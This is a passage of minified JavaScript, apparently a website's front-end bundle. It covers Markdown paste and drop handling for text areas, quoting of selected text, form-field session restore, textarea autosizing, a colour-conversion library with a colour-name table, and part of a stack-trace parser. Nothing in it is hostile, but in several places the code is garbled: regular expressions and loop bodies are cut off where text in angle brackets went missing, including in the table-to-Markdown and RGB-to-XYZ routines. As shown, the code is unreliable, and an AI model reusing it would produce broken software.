y;return((y=f.textContent)===null||y===void 0?void 0:y.slice(0,1))==="@"&&f.getAttribute("data-hovercard-type")==="user"}i(g,"isUserMention");function w(f){f.addEventListener("dragover",$),f.addEventListener("drop",I),f.addEventListener("paste",z)}i(w,"install$3");function x(f){f.removeEventListener("dragover",$),f.removeEventListener("drop",I),f.removeEventListener("paste",z)}i(x,"uninstall$3");function I(f){const y=f.dataTransfer;if(!y||ee(y)||!te(y))return;const k=ne(y);if(!k.some(T))return;f.stopPropagation(),f.preventDefault();const C=f.currentTarget;C instanceof HTMLTextAreaElement&&b(C,k.map(X).join(""))}i(I,"onDrop$1");function $(f){const y=f.dataTransfer;y&&(y.dropEffect="link")}i($,"onDragover$1");function z(f){const{currentTarget:y}=f;if(e(y))return;const k=f.clipboardData;if(!k||!te(k))return;const C=ne(k);if(!C.some(T))return;f.stopPropagation(),f.preventDefault();const O=f.currentTarget;O instanceof HTMLTextAreaElement&&b(O,C.map(X).join(""))}i(z,"onPaste$3");function X(f){return T(f)?` +![](${f}) +`:f}i(X,"linkify$1");function ee(f){return Array.from(f.types).indexOf("Files")>=0}i(ee,"hasFile$1");function te(f){return Array.from(f.types).indexOf("text/uri-list")>=0}i(te,"hasLink");function ne(f){return(f.getData("text/uri-list")||"").split(`\r +`)}i(ne,"extractLinks");const P=/\.(gif|png|jpe?g)$/i;function T(f){return P.test(f)}i(T,"isImageLink");function A(f){f.addEventListener("paste",S)}i(A,"install$2");function R(f){f.removeEventListener("paste",S)}i(R,"uninstall$2");function S(f){const{currentTarget:y}=f;if(e(y))return;const k=f.clipboardData;if(!k||!F(k))return;const C=f.currentTarget;if(!(C instanceof HTMLTextAreaElement))return;const O=k.getData("text/plain");if(!O||!H(O)||D(C))return;const q=C.value.substring(C.selectionStart,C.selectionEnd);!q.length||H(q.trim())||(f.stopPropagation(),f.preventDefault(),b(C,U(q,O)))}i(S,"onPaste$2");function F(f){return Array.from(f.types).includes("text/plain")}i(F,"hasPlainText");function D(f){const y=f.selectionStart||0;return y>1?f.value.substring(y-2,y)==="](":!1}i(D,"isWithinLink");function U(f,y){return`[${f}](${y})`}i(U,"linkify");function H(f){return/^https?:\/\//i.test(f)}i(H,"isURL");function B(f){f.addEventListener("dragover",ce),f.addEventListener("drop",G),f.addEventListener("paste",ie)}i(B,"install$1");function re(f){f.removeEventListener("dragover",ce),f.removeEventListener("drop",G),f.removeEventListener("paste",ie)}i(re,"uninstall$1");function G(f){const y=f.dataTransfer;if(!y||le(y))return;const k=L(y);if(!k)return;f.stopPropagation(),f.preventDefault();const C=f.currentTarget;C instanceof HTMLTextAreaElement&&b(C,k)}i(G,"onDrop");function ce(f){const y=f.dataTransfer;y&&(y.dropEffect="copy")}i(ce,"onDragover");function ie(f){const{currentTarget:y}=f;if(e(y)||!f.clipboardData)return;const k=L(f.clipboardData);if(!k)return;f.stopPropagation(),f.preventDefault();const C=f.currentTarget;C instanceof HTMLTextAreaElement&&b(C,k)}i(ie,"onPaste$1");function le(f){return Array.from(f.types).indexOf("Files")>=0}i(le,"hasFile");function ae(f){const y="\xA0";return(f.textContent||"").trim().replace(/\|/g,"\\|").replace(/\n/g," ")||y}i(ae,"columnText");function de(f){return Array.from(f.querySelectorAll("td, th")).map(ae)}i(de,"tableHeaders");function ue(f){const y=Array.from(f.querySelectorAll("tr")),k=y.shift();if(!k)return"";const C=de(k),O=C.map(()=>"--"),q=`${C.join(" | ")} +${O.join(" | ")} +`,Y=y.map(J=>Array.from(J.querySelectorAll("td")).map(ae).join(" | ")).join(` +`);return` +${q}${Y} + +`}i(ue,"tableMarkdown");function L(f){if(Array.from(f.types).indexOf("text/html")===-1)return;const y=f.getData("text/html");if(!//,"").replace(//,` +${q}`)}i(L,"generateText");function j(f){f.addEventListener("paste",K)}i(j,"install");function W(f){f.removeEventListener("paste",K)}i(W,"uninstall");function K(f){const{currentTarget:y}=f;if(e(y))return;const k=f.clipboardData;if(!k||!V(k))return;const C=f.currentTarget;if(!(C instanceof HTMLTextAreaElement))return;const O=k.getData("text/x-gfm");!O||(f.stopPropagation(),f.preventDefault(),b(C,O))}i(K,"onPaste");function V(f){return Array.from(f.types).indexOf("text/x-gfm")>=0}i(V,"hasMarkdown");function oe(f){return o(f,B,w,A,j,n),{unsubscribe:()=>{t(f),re(f),r(f),x(f),R(f),W(f)}}}i(oe,"subscribe")},55498:(N,M,E)=>{"use strict";E.d(M,{I:()=>a,p:()=>u});function b(s){const c=s.parentNode;if(c===null||!(c instanceof HTMLElement))throw new Error;let m=0;c instanceof HTMLOListElement&&c.start!==1&&(m=c.start-1);const d=c.children;for(let p=0;p/g,">")}i(t,"escapeAttribute");const n={INPUT(s){return s instanceof HTMLInputElement&&s.checked?"[x] ":"[ ] "},CODE(s){const c=s.textContent||"";return s.parentNode&&s.parentNode.nodeName==="PRE"?(s.textContent=`\`\`\` +${c.replace(/\n+$/,"")} +\`\`\` + +`,s):c.indexOf("`")>=0?`\`\` ${c} \`\``:`\`${c}\``},P(s){const c=document.createElement("p"),m=s.textContent||"";return c.textContent=m.replace(/<(\/?)(pre|strong|weak|em)>/g,"\\<$1$2\\>"),c},STRONG(s){return`**${s.textContent||""}**`},EM(s){return`_${s.textContent||""}_`},DEL(s){return`~${s.textContent||""}~`},BLOCKQUOTE(s){const c=(s.textContent||"").trim().replace(/^/gm,"> "),m=document.createElement("pre");return m.textContent=`${c} + +`,m},A(s){const c=s.textContent||"",m=s.getAttribute("href");return/^https?:/.test(c)&&c===m?c:m?`[${c}](${m})`:c},IMG(s){const c=s.getAttribute("alt")||"",m=s.getAttribute("src");if(!m)throw new Error;const d=s.hasAttribute("width")?` width="${t(s.getAttribute("width")||"")}"`:"",p=s.hasAttribute("height")?` height="${t(s.getAttribute("height")||"")}"`:"";return d||p?`${t(c)}`:`![${c}](${m})`},LI(s){const c=s.parentNode;if(!c)throw new Error;let m="";o(s)||(c.nodeName==="OL"?e>0&&!c.previousSibling?m=`${b(s)+e+1}\\. `:m=`${b(s)+1}. `:m="* ");const d=m.replace(/\S/g," "),p=(s.textContent||"").trim().replace(/^/gm,d),g=document.createElement("pre");return g.textContent=p.replace(d,m),g},OL(s){const c=document.createElement("li");return c.appendChild(document.createElement("br")),s.append(c),s},H1(s){const c=parseInt(s.nodeName.slice(1));return s.prepend(`${Array(c+1).join("#")} `),s},UL(s){return s}};n.UL=n.OL;for(let s=2;s<=6;++s)n[`H${s}`]=n.H1;function r(s){const c=document.createNodeIterator(s,NodeFilter.SHOW_ELEMENT,{acceptNode(p){return p.nodeName in n&&!_(p)&&(h(p)||v(p))?NodeFilter.FILTER_ACCEPT:NodeFilter.FILTER_SKIP}}),m=[];let d=c.nextNode();for(;d;)d instanceof HTMLElement&&m.push(d),d=c.nextNode();m.reverse();for(const p of m)p.replaceWith(n[p.nodeName](p))}i(r,"insertMarkdownSyntax");function l(s,c){const m=s.startContainer;if(!m||!m.parentNode||!(m.parentNode instanceof HTMLElement))throw new Error("the range must start within an HTMLElement");const d=m.parentNode;let p=s.cloneContents();if(c){const x=p.querySelector(c);x&&(p=document.createDocumentFragment(),p.appendChild(x))}e=0;const g=d.closest("li");if(d.closest("pre")){const x=document.createElement("pre");x.appendChild(p),p=document.createDocumentFragment(),p.appendChild(x)}else if(g&&g.parentNode&&(g.parentNode.nodeName==="OL"&&(e=b(g)),!p.querySelector("li"))){const x=document.createElement("li");if(!g.parentNode)throw new Error;const I=document.createElement(g.parentNode.nodeName);x.appendChild(p),I.appendChild(x),p=document.createDocumentFragment(),p.appendChild(I)}return p}i(l,"extractFragment");class u{constructor(){this.selection=window.getSelection()}closest(c){const m=this.range.startContainer,d=m instanceof Element?m:m.parentElement;return d?d.closest(c):null}get active(){var c;return(((c=this.selection)===null||c===void 0?void 0:c.rangeCount)||0)>0}get range(){var c;return((c=this.selection)===null||c===void 0?void 0:c.rangeCount)?this.selection.getRangeAt(0):new Range}set range(c){var m,d;(m=this.selection)===null||m===void 0||m.removeAllRanges(),(d=this.selection)===null||d===void 0||d.addRange(c)}get selectionText(){var c;return((c=this.selection)===null||c===void 0?void 0:c.toString().trim())||""}get quotedText(){return`> ${this.selectionText.replace(/\n/g,` +> `)} + +`}select(c){this.selection&&(this.selection.removeAllRanges(),this.selection.selectAllChildren(c))}insert(c){c.value?c.value=`${c.value} + +${this.quotedText}`:c.value=this.quotedText,c.dispatchEvent(new CustomEvent("change",{bubbles:!0,cancelable:!1})),c.focus(),c.selectionStart=c.value.length,c.scrollTop=c.scrollHeight}}i(u,"Quote");class a extends u{constructor(c="",m){super();this.scopeSelector=c,this.callback=m}get selectionText(){var c,m;if(!this.selection)return"";const d=l(this.range,(c=this.scopeSelector)!==null&&c!==void 0?c:"");(m=this.callback)===null||m===void 0||m.call(this,d),r(d);const p=document.body;if(!p)return"";const g=document.createElement("div");g.appendChild(d),g.style.cssText="position:absolute;left:-9999px;",p.appendChild(g);let w="";try{const x=document.createRange();x.selectNodeContents(g),this.selection.removeAllRanges(),this.selection.addRange(x),w=this.selection.toString(),this.selection.removeAllRanges(),x.detach()}finally{p.removeChild(g)}return w.trim()}}i(a,"MarkdownQuote")},407:(N,M,E)=>{"use strict";E.d(M,{Xm:()=>h,e6:()=>v,iO:()=>e});let b=null;function _(o){return!!o.id&&o.value!==o.defaultValue&&o.form!==b}i(_,"shouldResumeField");function h(o,t){var n,r;const l=(n=t==null?void 0:t.selector)!==null&&n!==void 0?n:".js-session-resumable",a=`${(r=t==null?void 0:t.keyPrefix)!==null&&r!==void 0?r:"session-resume:"}${o}`,s=[];for(const m of document.querySelectorAll(l))(m instanceof HTMLInputElement||m instanceof HTMLTextAreaElement)&&s.push(m);let c=s.filter(m=>_(m)).map(m=>[m.id,m.value]);if(c.length)try{const m=sessionStorage.getItem(a);if(m!==null){const p=JSON.parse(m).filter(function(g){return!c.some(w=>w[0]===g[0])});c=c.concat(p)}sessionStorage.setItem(a,JSON.stringify(c))}catch{}}i(h,"persistResumableFields");function v(o,t){var n;const l=`${(n=t==null?void 0:t.keyPrefix)!==null&&n!==void 0?n:"session-resume:"}${o}`;let u;try{u=sessionStorage.getItem(l)}catch{}if(!u)return;const a=[],s=[];for(const[c,m]of JSON.parse(u)){const d=new CustomEvent("session:resume",{bubbles:!0,cancelable:!0,detail:{targetId:c,targetValue:m}});if(document.dispatchEvent(d)){const p=document.getElementById(c);p&&(p instanceof HTMLInputElement||p instanceof HTMLTextAreaElement)?p.value===p.defaultValue&&(p.value=m,a.push(p)):s.push([c,m])}}if(s.length===0)try{sessionStorage.removeItem(l)}catch{}else sessionStorage.setItem(l,JSON.stringify(s));setTimeout(function(){for(const c of a)c.dispatchEvent(new CustomEvent("change",{bubbles:!0,cancelable:!0}))},0)}i(v,"restoreResumableFields");function e(o){b=o.target,setTimeout(function(){o.defaultPrevented&&(b=null)},0)}i(e,"setForm")},54430:(N,M,E)=>{"use strict";E.d(M,{Z:()=>_});function b(h){var v=null,e=!1,o=void 0,t=void 0,n=void 0;function r(d){if(o!==d.clientX||t!==d.clientY){var p=h.style.height;n&&n!==p&&(e=!0,h.style.maxHeight="",h.removeEventListener("mousemove",r)),n=p}o=d.clientX,t=d.clientY}i(r,"onUserResize");var l=h.ownerDocument,u=l.documentElement;function a(){for(var d=0,p=h;p!==l.body&&p!==null;)d+=p.offsetTop||0,p=p.offsetParent;var g=d-l.defaultView.pageYOffset,w=u.clientHeight-(g+h.offsetHeight);return{top:g,bottom:w}}i(a,"overflowOffset");function s(){if(!e&&h.value!==v&&!(h.offsetWidth<=0&&h.offsetHeight<=0)){var d=a(),p=d.top,g=d.bottom;if(!(p<0||g<0)){var w=Number(getComputedStyle(h).height.replace(/px/,""))+g;h.style.maxHeight=w-100+"px";var x=h.parentElement;if(x instanceof HTMLElement){var I=x.style.height;x.style.height=getComputedStyle(x).height,h.style.height="auto",h.style.height=h.scrollHeight+"px",x.style.height=I,n=h.style.height}v=h.value}}}i(s,"sizeToFit");function c(){e=!1,h.style.height="",h.style.maxHeight=""}i(c,"onFormReset"),h.addEventListener("mousemove",r),h.addEventListener("input",s),h.addEventListener("change",s);var m=h.form;return m&&m.addEventListener("reset",c),h.value&&s(),{unsubscribe:i(function(){h.removeEventListener("mousemove",r),h.removeEventListener("input",s),h.removeEventListener("change",s),m&&m.removeEventListener("reset",c)},"unsubscribe")}}i(b,"autosize");const _=b},48168:(N,M,E)=>{const b=E(39092),_={};for(const e of Object.keys(b))_[b[e]]=e;const h={rgb:{channels:3,labels:"rgb"},hsl:{channels:3,labels:"hsl"},hsv:{channels:3,labels:"hsv"},hwb:{channels:3,labels:"hwb"},cmyk:{channels:4,labels:"cmyk"},xyz:{channels:3,labels:"xyz"},lab:{channels:3,labels:"lab"},lch:{channels:3,labels:"lch"},hex:{channels:1,labels:["hex"]},keyword:{channels:1,labels:["keyword"]},ansi16:{channels:1,labels:["ansi16"]},ansi256:{channels:1,labels:["ansi256"]},hcg:{channels:3,labels:["h","c","g"]},apple:{channels:3,labels:["r16","g16","b16"]},gray:{channels:1,labels:["gray"]}};N.exports=h;for(const e of Object.keys(h)){if(!("channels"in h[e]))throw new Error("missing channels property: "+e);if(!("labels"in h[e]))throw new Error("missing channel labels property: "+e);if(h[e].labels.length!==h[e].channels)throw new Error("channel and label counts mismatch: "+e);const{channels:o,labels:t}=h[e];delete h[e].channels,delete h[e].labels,Object.defineProperty(h[e],"channels",{value:o}),Object.defineProperty(h[e],"labels",{value:t})}h.rgb.hsl=function(e){const o=e[0]/255,t=e[1]/255,n=e[2]/255,r=Math.min(o,t,n),l=Math.max(o,t,n),u=l-r;let a,s;l===r?a=0:o===l?a=(t-n)/u:t===l?a=2+(n-o)/u:n===l&&(a=4+(o-t)/u),a=Math.min(a*60,360),a<0&&(a+=360);const c=(r+l)/2;return l===r?s=0:c<=.5?s=u/(l+r):s=u/(2-l-r),[a,s*100,c*100]},h.rgb.hsv=function(e){let o,t,n,r,l;const u=e[0]/255,a=e[1]/255,s=e[2]/255,c=Math.max(u,a,s),m=c-Math.min(u,a,s),d=i(function(p){return(c-p)/6/m+1/2},"diffc");return m===0?(r=0,l=0):(l=m/c,o=d(u),t=d(a),n=d(s),u===c?r=n-t:a===c?r=1/3+o-n:s===c&&(r=2/3+t-o),r<0?r+=1:r>1&&(r-=1)),[r*360,l*100,c*100]},h.rgb.hwb=function(e){const o=e[0],t=e[1];let n=e[2];const r=h.rgb.hsl(e)[0],l=1/255*Math.min(o,Math.min(t,n));return n=1-1/255*Math.max(o,Math.max(t,n)),[r,l*100,n*100]},h.rgb.cmyk=function(e){const o=e[0]/255,t=e[1]/255,n=e[2]/255,r=Math.min(1-o,1-t,1-n),l=(1-o-r)/(1-r)||0,u=(1-t-r)/(1-r)||0,a=(1-n-r)/(1-r)||0;return[l*100,u*100,a*100,r*100]};function v(e,o){return(e[0]-o[0])**2+(e[1]-o[1])**2+(e[2]-o[2])**2}i(v,"comparativeDistance"),h.rgb.keyword=function(e){const o=_[e];if(o)return o;let t=1/0,n;for(const r of Object.keys(b)){const l=b[r],u=v(e,l);u.04045?((o+.055)/1.055)**2.4:o/12.92,t=t>.04045?((t+.055)/1.055)**2.4:t/12.92,n=n>.04045?((n+.055)/1.055)**2.4:n/12.92;const r=o*.4124+t*.3576+n*.1805,l=o*.2126+t*.7152+n*.0722,u=o*.0193+t*.1192+n*.9505;return[r*100,l*100,u*100]},h.rgb.lab=function(e){const o=h.rgb.xyz(e);let t=o[0],n=o[1],r=o[2];t/=95.047,n/=100,r/=108.883,t=t>.008856?t**(1/3):7.787*t+16/116,n=n>.008856?n**(1/3):7.787*n+16/116,r=r>.008856?r**(1/3):7.787*r+16/116;const l=116*n-16,u=500*(t-n),a=200*(n-r);return[l,u,a]},h.hsl.rgb=function(e){const o=e[0]/360,t=e[1]/100,n=e[2]/100;let r,l,u;if(t===0)return u=n*255,[u,u,u];n<.5?r=n*(1+t):r=n+t-n*t;const a=2*n-r,s=[0,0,0];for(let c=0;c<3;c++)l=o+1/3*-(c-1),l<0&&l++,l>1&&l--,6*l<1?u=a+(r-a)*6*l:2*l<1?u=r:3*l<2?u=a+(r-a)*(2/3-l)*6:u=a,s[c]=u*255;return s},h.hsl.hsv=function(e){const o=e[0];let t=e[1]/100,n=e[2]/100,r=t;const l=Math.max(n,.01);n*=2,t*=n<=1?n:2-n,r*=l<=1?l:2-l;const u=(n+t)/2,a=n===0?2*r/(l+r):2*t/(n+t);return[o,a*100,u*100]},h.hsv.rgb=function(e){const o=e[0]/60,t=e[1]/100;let n=e[2]/100;const r=Math.floor(o)%6,l=o-Math.floor(o),u=255*n*(1-t),a=255*n*(1-t*l),s=255*n*(1-t*(1-l));switch(n*=255,r){case 0:return[n,s,u];case 1:return[a,n,u];case 2:return[u,n,s];case 3:return[u,a,n];case 4:return[s,u,n];case 5:return[n,u,a]}},h.hsv.hsl=function(e){const o=e[0],t=e[1]/100,n=e[2]/100,r=Math.max(n,.01);let l,u;u=(2-t)*n;const a=(2-t)*r;return l=t*r,l/=a<=1?a:2-a,l=l||0,u/=2,[o,l*100,u*100]},h.hwb.rgb=function(e){const o=e[0]/360;let t=e[1]/100,n=e[2]/100;const r=t+n;let l;r>1&&(t/=r,n/=r);const u=Math.floor(6*o),a=1-n;l=6*o-u,(u&1)!==0&&(l=1-l);const s=t+l*(a-t);let c,m,d;switch(u){default:case 6:case 0:c=a,m=s,d=t;break;case 1:c=s,m=a,d=t;break;case 2:c=t,m=a,d=s;break;case 3:c=t,m=s,d=a;break;case 4:c=s,m=t,d=a;break;case 5:c=a,m=t,d=s;break}return[c*255,m*255,d*255]},h.cmyk.rgb=function(e){const o=e[0]/100,t=e[1]/100,n=e[2]/100,r=e[3]/100,l=1-Math.min(1,o*(1-r)+r),u=1-Math.min(1,t*(1-r)+r),a=1-Math.min(1,n*(1-r)+r);return[l*255,u*255,a*255]},h.xyz.rgb=function(e){const o=e[0]/100,t=e[1]/100,n=e[2]/100;let r,l,u;return r=o*3.2406+t*-1.5372+n*-.4986,l=o*-.9689+t*1.8758+n*.0415,u=o*.0557+t*-.204+n*1.057,r=r>.0031308?1.055*r**(1/2.4)-.055:r*12.92,l=l>.0031308?1.055*l**(1/2.4)-.055:l*12.92,u=u>.0031308?1.055*u**(1/2.4)-.055:u*12.92,r=Math.min(Math.max(0,r),1),l=Math.min(Math.max(0,l),1),u=Math.min(Math.max(0,u),1),[r*255,l*255,u*255]},h.xyz.lab=function(e){let o=e[0],t=e[1],n=e[2];o/=95.047,t/=100,n/=108.883,o=o>.008856?o**(1/3):7.787*o+16/116,t=t>.008856?t**(1/3):7.787*t+16/116,n=n>.008856?n**(1/3):7.787*n+16/116;const r=116*t-16,l=500*(o-t),u=200*(t-n);return[r,l,u]},h.lab.xyz=function(e){const o=e[0],t=e[1],n=e[2];let r,l,u;l=(o+16)/116,r=t/500+l,u=l-n/200;const a=l**3,s=r**3,c=u**3;return l=a>.008856?a:(l-16/116)/7.787,r=s>.008856?s:(r-16/116)/7.787,u=c>.008856?c:(u-16/116)/7.787,r*=95.047,l*=100,u*=108.883,[r,l,u]},h.lab.lch=function(e){const o=e[0],t=e[1],n=e[2];let r;r=Math.atan2(n,t)*360/2/Math.PI,r<0&&(r+=360);const u=Math.sqrt(t*t+n*n);return[o,u,r]},h.lch.lab=function(e){const o=e[0],t=e[1],r=e[2]/360*2*Math.PI,l=t*Math.cos(r),u=t*Math.sin(r);return[o,l,u]},h.rgb.ansi16=function(e,o=null){const[t,n,r]=e;let l=o===null?h.rgb.hsv(e)[2]:o;if(l=Math.round(l/50),l===0)return 30;let u=30+(Math.round(r/255)<<2|Math.round(n/255)<<1|Math.round(t/255));return l===2&&(u+=60),u},h.hsv.ansi16=function(e){return h.rgb.ansi16(h.hsv.rgb(e),e[2])},h.rgb.ansi256=function(e){const o=e[0],t=e[1],n=e[2];return o===t&&t===n?o<8?16:o>248?231:Math.round((o-8)/247*24)+232:16+36*Math.round(o/255*5)+6*Math.round(t/255*5)+Math.round(n/255*5)},h.ansi16.rgb=function(e){let o=e%10;if(o===0||o===7)return e>50&&(o+=3.5),o=o/10.5*255,[o,o,o];const t=(~~(e>50)+1)*.5,n=(o&1)*t*255,r=(o>>1&1)*t*255,l=(o>>2&1)*t*255;return[n,r,l]},h.ansi256.rgb=function(e){if(e>=232){const l=(e-232)*10+8;return[l,l,l]}e-=16;let o;const t=Math.floor(e/36)/5*255,n=Math.floor((o=e%36)/6)/5*255,r=o%6/5*255;return[t,n,r]},h.rgb.hex=function(e){const t=(((Math.round(e[0])&255)<<16)+((Math.round(e[1])&255)<<8)+(Math.round(e[2])&255)).toString(16).toUpperCase();return"000000".substring(t.length)+t},h.hex.rgb=function(e){const o=e.toString(16).match(/[a-f0-9]{6}|[a-f0-9]{3}/i);if(!o)return[0,0,0];let t=o[0];o[0].length===3&&(t=t.split("").map(a=>a+a).join(""));const n=parseInt(t,16),r=n>>16&255,l=n>>8&255,u=n&255;return[r,l,u]},h.rgb.hcg=function(e){const o=e[0]/255,t=e[1]/255,n=e[2]/255,r=Math.max(Math.max(o,t),n),l=Math.min(Math.min(o,t),n),u=r-l;let a,s;return u<1?a=l/(1-u):a=0,u<=0?s=0:r===o?s=(t-n)/u%6:r===t?s=2+(n-o)/u:s=4+(o-t)/u,s/=6,s%=1,[s*360,u*100,a*100]},h.hsl.hcg=function(e){const o=e[1]/100,t=e[2]/100,n=t<.5?2*o*t:2*o*(1-t);let r=0;return n<1&&(r=(t-.5*n)/(1-n)),[e[0],n*100,r*100]},h.hsv.hcg=function(e){const o=e[1]/100,t=e[2]/100,n=o*t;let r=0;return n<1&&(r=(t-n)/(1-n)),[e[0],n*100,r*100]},h.hcg.rgb=function(e){const o=e[0]/360,t=e[1]/100,n=e[2]/100;if(t===0)return[n*255,n*255,n*255];const r=[0,0,0],l=o%1*6,u=l%1,a=1-u;let s=0;switch(Math.floor(l)){case 0:r[0]=1,r[1]=u,r[2]=0;break;case 1:r[0]=a,r[1]=1,r[2]=0;break;case 2:r[0]=0,r[1]=1,r[2]=u;break;case 3:r[0]=0,r[1]=a,r[2]=1;break;case 4:r[0]=u,r[1]=0,r[2]=1;break;default:r[0]=1,r[1]=0,r[2]=a}return s=(1-t)*n,[(t*r[0]+s)*255,(t*r[1]+s)*255,(t*r[2]+s)*255]},h.hcg.hsv=function(e){const o=e[1]/100,t=e[2]/100,n=o+t*(1-o);let r=0;return n>0&&(r=o/n),[e[0],r*100,n*100]},h.hcg.hsl=function(e){const o=e[1]/100,n=e[2]/100*(1-o)+.5*o;let r=0;return n>0&&n<.5?r=o/(2*n):n>=.5&&n<1&&(r=o/(2*(1-n))),[e[0],r*100,n*100]},h.hcg.hwb=function(e){const o=e[1]/100,t=e[2]/100,n=o+t*(1-o);return[e[0],(n-o)*100,(1-n)*100]},h.hwb.hcg=function(e){const o=e[1]/100,t=e[2]/100,n=1-t,r=n-o;let l=0;return r<1&&(l=(n-r)/(1-r)),[e[0],r*100,l*100]},h.apple.rgb=function(e){return[e[0]/65535*255,e[1]/65535*255,e[2]/65535*255]},h.rgb.apple=function(e){return[e[0]/255*65535,e[1]/255*65535,e[2]/255*65535]},h.gray.rgb=function(e){return[e[0]/100*255,e[0]/100*255,e[0]/100*255]},h.gray.hsl=function(e){return[0,0,e[0]]},h.gray.hsv=h.gray.hsl,h.gray.hwb=function(e){return[0,100,e[0]]},h.gray.cmyk=function(e){return[0,0,0,e[0]]},h.gray.lab=function(e){return[e[0],0,0]},h.gray.hex=function(e){const o=Math.round(e[0]/100*255)&255,n=((o<<16)+(o<<8)+o).toString(16).toUpperCase();return"000000".substring(n.length)+n},h.rgb.gray=function(e){return[(e[0]+e[1]+e[2])/3/255*100]}},12085:(N,M,E)=>{const b=E(48168),_=E(4111),h={},v=Object.keys(b);function e(t){const n=i(function(...r){const l=r[0];return l==null?l:(l.length>1&&(r=l),t(r))},"wrappedFn");return"conversion"in t&&(n.conversion=t.conversion),n}i(e,"wrapRaw");function o(t){const n=i(function(...r){const l=r[0];if(l==null)return l;l.length>1&&(r=l);const u=t(r);if(typeof u=="object")for(let a=u.length,s=0;s{h[t]={},Object.defineProperty(h[t],"channels",{value:b[t].channels}),Object.defineProperty(h[t],"labels",{value:b[t].labels});const n=_(t);Object.keys(n).forEach(l=>{const u=n[l];h[t][l]=o(u),h[t][l].raw=e(u)})}),N.exports=h},39092:N=>{"use strict";N.exports={aliceblue:[240,248,255],antiquewhite:[250,235,215],aqua:[0,255,255],aquamarine:[127,255,212],azure:[240,255,255],beige:[245,245,220],bisque:[255,228,196],black:[0,0,0],blanchedalmond:[255,235,205],blue:[0,0,255],blueviolet:[138,43,226],brown:[165,42,42],burlywood:[222,184,135],cadetblue:[95,158,160],chartreuse:[127,255,0],chocolate:[210,105,30],coral:[255,127,80],cornflowerblue:[100,149,237],cornsilk:[255,248,220],crimson:[220,20,60],cyan:[0,255,255],darkblue:[0,0,139],darkcyan:[0,139,139],darkgoldenrod:[184,134,11],darkgray:[169,169,169],darkgreen:[0,100,0],darkgrey:[169,169,169],darkkhaki:[189,183,107],darkmagenta:[139,0,139],darkolivegreen:[85,107,47],darkorange:[255,140,0],darkorchid:[153,50,204],darkred:[139,0,0],darksalmon:[233,150,122],darkseagreen:[143,188,143],darkslateblue:[72,61,139],darkslategray:[47,79,79],darkslategrey:[47,79,79],darkturquoise:[0,206,209],darkviolet:[148,0,211],deeppink:[255,20,147],deepskyblue:[0,191,255],dimgray:[105,105,105],dimgrey:[105,105,105],dodgerblue:[30,144,255],firebrick:[178,34,34],floralwhite:[255,250,240],forestgreen:[34,139,34],fuchsia:[255,0,255],gainsboro:[220,220,220],ghostwhite:[248,248,255],gold:[255,215,0],goldenrod:[218,165,32],gray:[128,128,128],green:[0,128,0],greenyellow:[173,255,47],grey:[128,128,128],honeydew:[240,255,240],hotpink:[255,105,180],indianred:[205,92,92],indigo:[75,0,130],ivory:[255,255,240],khaki:[240,230,140],lavender:[230,230,250],lavenderblush:[255,240,245],lawngreen:[124,252,0],lemonchiffon:[255,250,205],lightblue:[173,216,230],lightcoral:[240,128,128],lightcyan:[224,255,255],lightgoldenrodyellow:[250,250,210],lightgray:[211,211,211],lightgreen:[144,238,144],lightgrey:[211,211,211],lightpink:[255,182,193],lightsalmon:[255,160,122],lightseagreen:[32,178,170],lightskyblue:[135,206,250],lightslategray:[119,136,153],lightslategrey:[119,136,153],lightsteelblue:[176,196,222],lightyellow:[255,255,224],lime:[0,255,0],limegreen:[50,205,50],linen:[250,240,230],magenta:[255,0,255],maroon:[128,0,0],mediumaquamarine:[102,205,170],mediumblue:[0,0,205],mediumorchid:[186,85,211],mediumpurple:[147,112,219],mediumseagreen:[60,179,113],mediumslateblue:[123,104,238],mediumspringgreen:[0,250,154],mediumturquoise:[72,209,204],mediumvioletred:[199,21,133],midnightblue:[25,25,112],mintcream:[245,255,250],mistyrose:[255,228,225],moccasin:[255,228,181],navajowhite:[255,222,173],navy:[0,0,128],oldlace:[253,245,230],olive:[128,128,0],olivedrab:[107,142,35],orange:[255,165,0],orangered:[255,69,0],orchid:[218,112,214],palegoldenrod:[238,232,170],palegreen:[152,251,152],paleturquoise:[175,238,238],palevioletred:[219,112,147],papayawhip:[255,239,213],peachpuff:[255,218,185],peru:[205,133,63],pink:[255,192,203],plum:[221,160,221],powderblue:[176,224,230],purple:[128,0,128],rebeccapurple:[102,51,153],red:[255,0,0],rosybrown:[188,143,143],royalblue:[65,105,225],saddlebrown:[139,69,19],salmon:[250,128,114],sandybrown:[244,164,96],seagreen:[46,139,87],seashell:[255,245,238],sienna:[160,82,45],silver:[192,192,192],skyblue:[135,206,235],slateblue:[106,90,205],slategray:[112,128,144],slategrey:[112,128,144],snow:[255,250,250],springgreen:[0,255,127],steelblue:[70,130,180],tan:[210,180,140],teal:[0,128,128],thistle:[216,191,216],tomato:[255,99,71],turquoise:[64,224,208],violet:[238,130,238],wheat:[245,222,179],white:[255,255,255],whitesmoke:[245,245,245],yellow:[255,255,0],yellowgreen:[154,205,50]}},4111:(N,M,E)=>{const b=E(48168);function _(){const o={},t=Object.keys(b);for(let n=t.length,r=0;r{"use strict";E.d(M,{_8:()=>b,uQ:()=>_});function b(e,o){return _(h(e),o)}i(b,"preserveAnchorNodePosition");function _(e,o){var t=e;if(!t)return Promise.resolve(o());var n=t.ownerDocument.documentElement;function r(a){for(var s=[];a;){var c=a.getBoundingClientRect(),m=c.top,d=c.left;s.push({element:a,top:m,left:d}),a=a.parentElement}return s}i(r,"computeAncestorBoundingRects");function l(a){for(var s=0;s{"use strict";E.d(M,{Q:()=>_});var b="";function _(m){var d=m.split(` +`);return d.reduce(function(p,g){var w=e(g)||t(g)||l(g)||c(g)||a(g);return w&&p.push(w),p},[])}i(_,"parse");var h=/^\s*at (.*?) ?\(((?:file|https?|blob|chrome-extension|native|eval|webpack||\/).*?)(?::(\d+))?(?::(\d+))?\)?\s*$/i,v=/\((\S*)(?::(\d+))(?::(\d+))\)/;function e(m){var d=h.exec(m);if(!d)return null;var p=d[2]&&d[2].indexOf("native")===0,g=d[2]&&d[2].indexOf("eval")===0,w=v.exec(d[2]);return g&&w!=null&&(d[2]=w[1],d[3]=w[2],d[4]=w[3]),{file:p?null:d[2],methodName:d[1]||b,arguments:p?[d[2]]:[],lineNumber:d[3]?+d[3]:null,column:d[4]?+d[4]:null}}i(e,"parseChrome");var o=/^\s*at (?:((?:\[object object\])?.+) )?\(?((?:file|ms-appx|https?|webpack|blob):.*?):(\d+)(?::(\d+))?\)?\s*$/i;function t(m){var d=o.exec(m);return 